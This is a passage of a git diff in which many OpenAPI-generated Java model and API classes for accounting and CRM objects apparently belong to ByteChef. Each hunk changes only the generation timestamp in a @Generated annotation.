diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/CreatedRecordModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/CreatedRecordModel.java
index 5e1633d9739..9bddbc9e101 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/CreatedRecordModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/CreatedRecordModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("created_record")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.766054+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.735855+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreatedRecordModel {
 
   private String id;
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ErrorsInnerMetaModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ErrorsInnerMetaModel.java
index 2cf7ff3dc14..3022342fff9 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ErrorsInnerMetaModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ErrorsInnerMetaModel.java
@@ -27,7 +27,7 @@
 
 @Schema(name = "errors_inner_meta", description = "Additional metadata about the error.")
 @JsonTypeName("errors_inner_meta")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.766054+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.735855+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ErrorsInnerMetaModel {
 
   private @Nullable Object cause;
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ErrorsInnerModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ErrorsInnerModel.java
index 58cb8226299..bada44e710e 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ErrorsInnerModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ErrorsInnerModel.java
@@ -22,7 +22,7 @@
  */
 
 @JsonTypeName("errors_inner")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.766054+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.735855+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ErrorsInnerModel {
 
   private String id;
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ListAccounts400ResponseModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ListAccounts400ResponseModel.java
index 8ab37fe33a9..ea934076087 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ListAccounts400ResponseModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ListAccounts400ResponseModel.java
@@ -25,7 +25,7 @@
  */
 
 @JsonTypeName("listAccounts_400_response")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.766054+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.735855+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ListAccounts400ResponseModel {
 
   @Valid
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ListAccountsPageableParameterModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ListAccountsPageableParameterModel.java
index 8020543c84e..d9373569566 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ListAccountsPageableParameterModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/ListAccountsPageableParameterModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("listAccounts_pageable_parameter")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.766054+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.735855+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ListAccountsPageableParameterModel {
 
   private @Nullable String direction;
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/WarningsInnerModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/WarningsInnerModel.java
index b9893a0ad77..119c47c6cd9 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/WarningsInnerModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/accounting/model/WarningsInnerModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("warnings_inner")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.766054+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.735855+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WarningsInnerModel {
 
   private @Nullable String detail;
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/AccountApi.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/AccountApi.java
index 480ac97e621..542039e6e35 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/AccountApi.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/AccountApi.java
@@ -38,7 +38,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "account", description = "The `Account` Common Object represents a \"company\" in CRMs.")
 public interface AccountApi {
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/AccountModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/AccountModel.java
index d3e0985ebca..d66b59b2a18 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/AccountModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/AccountModel.java
@@ -35,7 +35,7 @@
  */
 
 @JsonTypeName("account")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class AccountModel {
 
   @Valid
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/AddressesInnerModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/AddressesInnerModel.java
index 0b4e0543c7c..1209f40fd93 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/AddressesInnerModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/AddressesInnerModel.java
@@ -22,7 +22,7 @@
  */
 
 @JsonTypeName("addresses_inner")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class AddressesInnerModel {
 
   /**
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ContactModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ContactModel.java
index 7aadd90f506..adb7d69d496 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ContactModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ContactModel.java
@@ -33,7 +33,7 @@
  */
 
 @JsonTypeName("contact")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ContactModel {
 
   private JsonNullable<String> accountId = JsonNullable.<String>undefined();
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateAccountModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateAccountModel.java
index f775e0cbb7b..00941d1dcd2 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateAccountModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateAccountModel.java
@@ -35,7 +35,7 @@
  */
 
 @JsonTypeName("create_update_account")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreateUpdateAccountModel {
 
   private JsonNullable<String> description = JsonNullable.<String>undefined();
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateContactModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateContactModel.java
index 856e39e5fed..3d7e0935ba0 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateContactModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateContactModel.java
@@ -35,7 +35,7 @@
  */
 
 @JsonTypeName("create_update_contact")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreateUpdateContactModel {
 
   private JsonNullable<String> firstName = JsonNullable.<String>undefined();
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateLeadModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateLeadModel.java
index 1dc61ca45a9..5a61ab1d413 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateLeadModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateLeadModel.java
@@ -30,7 +30,7 @@
  */
 
 @JsonTypeName("create_update_lead")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreateUpdateLeadModel {
 
   private JsonNullable<String> company = JsonNullable.<String>undefined();
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateOpportunityModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateOpportunityModel.java
index f15e914690a..6a8124c48fd 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateOpportunityModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreateUpdateOpportunityModel.java
@@ -28,7 +28,7 @@
  */
 
 @JsonTypeName("create_update_opportunity")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreateUpdateOpportunityModel {
 
   private JsonNullable<Integer> amount = JsonNullable.<Integer>undefined();
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreatedModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreatedModel.java
index 56529d56420..a24c17368b2 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreatedModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreatedModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("created")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreatedModel {
 
   private String id;
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreatedRecordModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreatedRecordModel.java
index 0a805625476..fd8672b87a7 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreatedRecordModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/CreatedRecordModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("created_record")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class CreatedRecordModel {
 
   private String id;
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/EmailsInnerModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/EmailsInnerModel.java
index 16f07d46b6e..56223a1701d 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/EmailsInnerModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/EmailsInnerModel.java
@@ -22,7 +22,7 @@
  */
 
 @JsonTypeName("emails_inner")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class EmailsInnerModel {
 
   private String emailAddress;
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ErrorsInnerMetaModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ErrorsInnerMetaModel.java
index 6e478655845..8247751a00a 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ErrorsInnerMetaModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ErrorsInnerMetaModel.java
@@ -27,7 +27,7 @@
 
 @Schema(name = "errors_inner_meta", description = "Additional metadata about the error.")
 @JsonTypeName("errors_inner_meta")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ErrorsInnerMetaModel {
 
   private @Nullable Object cause;
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ErrorsInnerModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ErrorsInnerModel.java
index edfe3a47183..cc81f2d18cc 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ErrorsInnerModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ErrorsInnerModel.java
@@ -22,7 +22,7 @@
  */
 
 @JsonTypeName("errors_inner")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ErrorsInnerModel {
 
   private String id;
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/LeadModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/LeadModel.java
index 82c65262e85..d9f2c73c64e 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/LeadModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/LeadModel.java
@@ -33,7 +33,7 @@
  */
 
 @JsonTypeName("lead")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class LeadModel {
 
   @Valid
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/LifecycleStageModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/LifecycleStageModel.java
index f251258d691..6b0cbe2f932 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/LifecycleStageModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/LifecycleStageModel.java
@@ -20,7 +20,7 @@
  * Gets or Sets lifecycle_stage
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum LifecycleStageModel {
   
   SUBSCRIBER("SUBSCRIBER"),
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ListAccounts400ResponseModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ListAccounts400ResponseModel.java
index e7426729a5d..91be51d506a 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ListAccounts400ResponseModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ListAccounts400ResponseModel.java
@@ -25,7 +25,7 @@
  */
 
 @JsonTypeName("listAccounts_400_response")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ListAccounts400ResponseModel {
 
   @Valid
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ListAccountsPageableParameterModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ListAccountsPageableParameterModel.java
index 27897ca1d9c..2c2246e6857 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ListAccountsPageableParameterModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/ListAccountsPageableParameterModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("listAccounts_pageable_parameter")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ListAccountsPageableParameterModel {
 
   private @Nullable String direction;
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/OpportunityModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/OpportunityModel.java
index 35a208b53da..4b55d99b4c4 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/OpportunityModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/OpportunityModel.java
@@ -26,7 +26,7 @@
  */
 
 @JsonTypeName("opportunity")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class OpportunityModel {
 
   private JsonNullable<String> accountId = JsonNullable.<String>undefined();
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/PhonesInnerModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/PhonesInnerModel.java
index ad8b985a92d..3fdf9f70910 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/PhonesInnerModel.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/PhonesInnerModel.java
@@ -22,7 +22,7 @@
  */
 
 @JsonTypeName("phones_inner")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class PhonesInnerModel {
 
   private JsonNullable<String> phoneNumber = JsonNullable.<String>undefined();
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/WarningsInnerModel.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/WarningsInnerModel.java
index e0570342f67..b5b20c43486 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/WarningsInnerModel.java
